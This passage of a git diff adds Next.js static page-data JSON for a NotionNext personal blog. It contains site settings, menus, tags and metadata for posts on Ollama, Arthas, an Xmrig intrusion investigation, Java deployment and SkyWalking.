368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}]},"__N_SSG":true}
\ No newline at end of file
diff --git a/_next/data/mm0_cWkCfdum_vxo9wL_b/article/example-3.json b/_next/data/mm0_cWkCfdum_vxo9wL_b/article/example-3.json
new file mode 100644
index 000000000..99144a223
--- /dev/null
+++ b/_next/data/mm0_cWkCfdum_vxo9wL_b/article/example-3.json
@@ -0,0 +1 @@
+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-3","tags":["新闻","推荐"],"summary":"仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容。","title":"EMPTY-ARTICLE-3","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:55.364Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1542907299-8bd21f11f540?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=47aba706-2cde-4eef-9fb8-0cdd0f7805c9","pageCoverThumbnail":"https://images.unsplash.com/photo-1542907299-8bd21f11f540?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=47aba706-2cde-4eef-9fb8-0cdd0f7805c9&width=800&fmt=webp","tagItems":[{"name":"新闻","color":"orange"},{"name":"推荐","color":"red"}],"password":"","blockMap":{"block":{"47aba706-2cde-4eef-9fb8-0cdd0f7805c9":{"value":{"id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","version":7,"type":"page","content":["4f888598-436f-45ae-8798-cc8ab24c09c9","b695537b-33d7-4ddd-a1e0-44bf5b40f53f","c9343f3d-dc2f-4af9-8a25-0ad7c208ba60","45def727-02f6-4deb-83a9-69b7b266ee4d","6316fbc9-d6ed-4f69-af61-a4d2259d9111","4009c235-486f-46e0-853a-fe8181429f05","bf80f998-7dbb-4ecb-8327-baa30c18b6d1","8459ea2c-edbe-4726-a8a7-3ee8c80a3b94","4f1a0b85-c149-433d-b3c9-b7f926541529","4af440a2-cb6b-448c-8e5c-346fa88279c7","c76d05b0-646b-494b-92ea-d9136d82500e","08164ae5-c0d9-48b8-a7ec-a27b3cfa0fd1","13404196-5553-4065-89fd-844340054d07","39ceea91-795b-42c2-b94d-0f61dd710407","66839f7d-30bf-4925-89d5-b88afac3db8c"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://images.unsplash.com/photo-1542907299-8bd21f11f540?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"5673a15c-db7e-459c-ba9c-bf199bf47d61","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337111,"last_edited_time":1705630795364,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"5673a15c-db7e-459c-ba9c-bf199bf47d61","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"4f888598-436f-45ae-8798-cc8ab24c09c9":{